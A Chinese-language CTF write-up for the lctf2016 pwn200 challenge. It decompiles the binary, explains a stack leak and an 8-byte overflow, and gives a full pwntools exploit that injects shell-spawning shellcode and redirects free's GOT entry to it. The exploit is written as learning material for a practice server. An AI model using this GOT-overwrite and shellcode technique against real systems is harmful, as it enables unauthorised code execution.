lctf2016_pwn200 参考
准备 64 位,保护全没开
分析 main函数 1 2 3 4 5 6 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { sub_40079D(a1, a2, a3); sub_400A8E(); return 0LL; }
有一个 sub_400A8E
函数
sub_400A8E函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 __int64 sub_400A8E() { __int64 i; // [rsp+10h] [rbp-40h] char v2[48]; // [rsp+20h] [rbp-30h] BYREF puts("who are u?"); for ( i = 0LL; i <= 47; ++i ) { read(0, &v2[i], 1uLL); if ( v2[i] == 10 ) { v2[i] = 0; break; } } printf("%s, welcome to ISCC~ \n", v2); puts("give me your id ~~?"); sub_4007DF(); return sub_400A29(); }
第一个输入点, for
循环 48 次,每次输入 1 字符,共可以输入 48 字符, v2
大小也为 48 下面用 printf
输出我们的输入,直到遇到 \0
终止符,这里当我们输入 48 个非换行符字符时,会造成溢出,数据泄露 然后第二个输入点,有关 id
参数,用 sub_4007DF
函数 返回是另一个函数 sub_400A29
函数
sub_4007DF函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int sub_4007DF() { char nptr[8]; // [rsp+0h] [rbp-10h] BYREF int v2; // [rsp+8h] [rbp-8h] int i; // [rsp+Ch] [rbp-4h] v2 = 0; for ( i = 0; i <= 3; ++i ) { read(0, &nptr[i], 1uLL); if ( nptr[i] == 10 ) { nptr[i] = 0; break; } if ( nptr[i] > 57 || nptr[i] <= 47 ) { printf("0x%x ", nptr[i]); return 0; } } v2 = atoi(nptr); if ( v2 >= 0 ) return atoi(nptr); else return 0; }
对 id
参数输入的处理,没什么用处
sub_400A29函数 1 2 3 4 5 6 7 8 9 10 11 12 __int64 sub_400A29() { char buf[56]; // [rsp+0h] [rbp-40h] BYREF char *dest; // [rsp+38h] [rbp-8h] dest = (char *)malloc(0x40uLL); puts("give me money~"); read(0, buf, 0x40uLL); strcpy(dest, buf); ptr = dest; return sub_4009C4(); }
先创建一个堆块给 dest
参数 然后第三个输入,读取输入最大 64(0x40) 个字节到 buf
,但 buf
大小为 56,所以溢出了 8 字节 接着用 strcpy
函数将 buf
内容复制到 dest
(堆中) 参数 dest
赋值给 ptr
( dest
地址赋值给 ptr
作为指针) 返回是一个函数 sub_4009C4
函数
sub_4009C4函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int sub_4009C4() { int n2; // eax while ( 1 ) { while ( 1 ) { sub_4009AF(); n2 = sub_4007DF(); if ( n2 != 2 ) break; sub_40096D(); } if ( n2 == 3 ) break; if ( n2 == 1 ) sub_4008B7(); else puts("invalid choice"); } return puts("good bye~"); }
先一个 sub_4009AF
菜单函数,两个选项
1-sub_4008B7(check in)(add)函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int sub_4008B7() { int nbytes; // [rsp+Ch] [rbp-4h] if ( ptr ) return puts("already check in"); puts("how long?"); nbytes = sub_4007DF(); if ( nbytes <= 0 || nbytes > 128 ) return puts("invalid length"); ptr = malloc(nbytes); printf("give me more money : "); printf("\n%d\n", nbytes); read(0, ptr, (unsigned int)nbytes); return puts("in~"); }
先判断 ptr
是否为空,来确定是否已经入住 没有入住,就先输入长度(堆块大小),进行创建堆块,在输入金额(堆块内容),写入堆块
2-sub_40096D(check out)(delete)函数 1 2 3 4 5 6 7 8 9 10 11 12 13 void sub_40096D() { if ( ptr ) { puts("out~"); free(ptr); ptr = 0LL; } else { puts("havn't check in"); } }
先判断 ptr
是否为空 不为空,就释放内存,将 ptr
设为 0
思路 这题原本是学习 House of Spirit
当一个例题的,但 House of Spirit
学的还不是很明白,而这题有其他解法,所以先给一个简单的解法 (后面什么时候 House of Spirit
懂得差不多了,在补这个解法) 这题比较麻烦的是又有栈又有堆,但是保护都没开,而且写入的大小足够,所以可以打 shellcode
先说几个重要的点 在第一个输入点处,有一个溢出 查看 ida
的栈情况 这里 rbp
就在输入点 v2
下面,所以可以输入 48 个非换行符字符,把 rbp
的地址泄露出来 在第三个输入点处,有一个 8 字节的溢出 查看 ida
的栈情况
// Use data definition commands to manipulate stack variables and arguments. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 -0000000000000040 // Frame size: 40; Saved regs: 8; Purge: 0 -0000000000000040 -0000000000000040 _BYTE buf; -000000000000003F // padding byte -000000000000003E // padding byte -000000000000003D // padding byte -000000000000003C // padding byte -000000000000003B // padding byte -000000000000003A // padding byte -0000000000000039 // padding byte -0000000000000038 // padding byte -0000000000000037 // padding byte -0000000000000036 // padding byte -0000000000000035 // padding byte -0000000000000034 // padding byte -0000000000000033 // padding byte -0000000000000032 // padding byte -0000000000000031 // padding byte -0000000000000030 // padding byte -000000000000002F // padding byte -000000000000002E // padding byte -000000000000002D // padding byte -000000000000002C // padding byte -000000000000002B // padding byte -000000000000002A // padding byte -0000000000000029 // padding byte -0000000000000028 // padding byte -0000000000000027 // padding byte -0000000000000026 // padding byte -0000000000000025 // padding byte -0000000000000024 // padding byte -0000000000000023 // padding byte -0000000000000022 // padding byte -0000000000000021 // padding byte -0000000000000020 // padding byte -000000000000001F // padding byte -000000000000001E // padding byte -000000000000001D // padding byte -000000000000001C // padding byte -000000000000001B // padding byte -000000000000001A // padding byte -0000000000000019 // padding byte -0000000000000018 // padding byte -0000000000000017 // padding byte -0000000000000016 // padding byte -0000000000000015 // padding byte -0000000000000014 // padding byte -0000000000000013 // padding byte -0000000000000012 // padding byte -0000000000000011 // padding byte -0000000000000010 // padding byte -000000000000000F // padding byte -000000000000000E // padding byte -000000000000000D // padding byte -000000000000000C // padding byte -000000000000000B // padding byte -000000000000000A // padding byte -0000000000000009 // padding byte -0000000000000008 char *dest; +0000000000000000 _QWORD __saved_registers; +0000000000000008 _UNKNOWN *__return_address; +0000000000000010 +0000000000000010 // end of stack variables
总共可以输入 0x40 大小,所以这里输入正好可以覆盖 *dest
参数 打 shellcode
主要考虑就是输入点和最后怎么指向 shellcode
处造成触发 这里我们在第一个输入点处写入 shellcode
,直接系统生成,输入大小是够的,并填充满 48 个字符,来泄露 rbp
的地址 (注意: shellcode
中不能有 \x00
字节,不然会无法造成数据泄露)
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * context(os='linux',log_level = 'debug',arch='amd64') p=remote('node5.buuoj.cn',29101) # p=process('/home/motaly/pwn') elf=ELF('/home/motaly/pwn') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') shellcode = asm(shellcraft.sh()) p.sendafter('u?\n',shellcode+b"a"*(48-len(shellcode))) rbp = u64(p.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) log.success("rbp: " + hex(rbp))
然后通过 rbp
的地址确定 shellcode
的地址,通过 gdb
调试确定两者偏移
1 2 3 4 5 6 7 8 shellcode = asm(shellcraft.sh()) p.sendafter('u?\n',shellcode+b"a"*(48-len(shellcode))) rbp = u64(p.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) log.success("rbp: " + hex(rbp)) # gdb.attach(p) shellcode_addr = rbp - 0x50 log.success("shellcode_addr: " + hex(shellcode_addr))
在第二个输入点 id
处随便给一个可行的值 主要在第三个输入点 money
处我们写入 shellcode
的地址,并把 *dest
篡改为 free_got
的地址,我们最后通过删除来触发 shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 shellcode = asm(shellcraft.sh()) p.sendafter('u?\n',shellcode+b"a"*(48-len(shellcode))) rbp = u64(p.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) log.success("rbp: " + hex(rbp)) gdb.attach(p) shellcode_addr = rbp - 0x50 log.success("shellcode_addr: " + hex(shellcode_addr)) p.sendlineafter("give me your id ~~?", str(0)) free_got = elf.got["free"] p.send(p64(shellcode_addr) + b'a'*(0x38-len(p64(shellcode_addr))) + p64(free_got))
这里总共可写 0x40 大小,除去 dest
的 8 位,所以前面总共需要 0x40-8=0x38 大小的数据 此时 dest=ptr=free_got
, shellcode
的地址被写入堆中,所以 free_got
的值变成 shellcode_addr
最后选择 2 ,释放堆块 运用了 free
函数,因为前面的篡改,控制流会转向 shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 shellcode = asm(shellcraft.sh()) p.sendafter('u?\n',shellcode+b"a"*(48-len(shellcode))) rbp = u64(p.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) log.success("rbp: " + hex(rbp)) shellcode_addr = rbp - 0x50 log.success("shellcode_addr: " + hex(shellcode_addr)) p.sendlineafter("give me your id ~~?", str(0)) free_got = elf.got["free"] p.send(p64(shellcode_addr) + b'a'*(0x38-len(p64(shellcode_addr))) + p64(free_got)) p.recvuntil('choice :') p.sendline('2') p.interactive()
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * context(os='linux',log_level = 'debug',arch='amd64') # p=remote('node5.buuoj.cn',29101) p=process('/home/motaly/pwn') elf=ELF('/home/motaly/pwn') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') shellcode = asm(shellcraft.sh()) p.sendafter('u?\n',shellcode+b"a"*(48-len(shellcode))) rbp = u64(p.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) log.success("rbp: " + hex(rbp)) shellcode_addr = rbp - 0x50 log.success("shellcode_addr: " + hex(shellcode_addr)) p.sendlineafter("give me your id ~~?", str(0)) free_got = elf.got["free"] p.send(p64(shellcode_addr) + b'a'*(0x38-len(p64(shellcode_addr))) + p64(free_got)) p.recvuntil('choice :') p.sendline('2') p.interactive()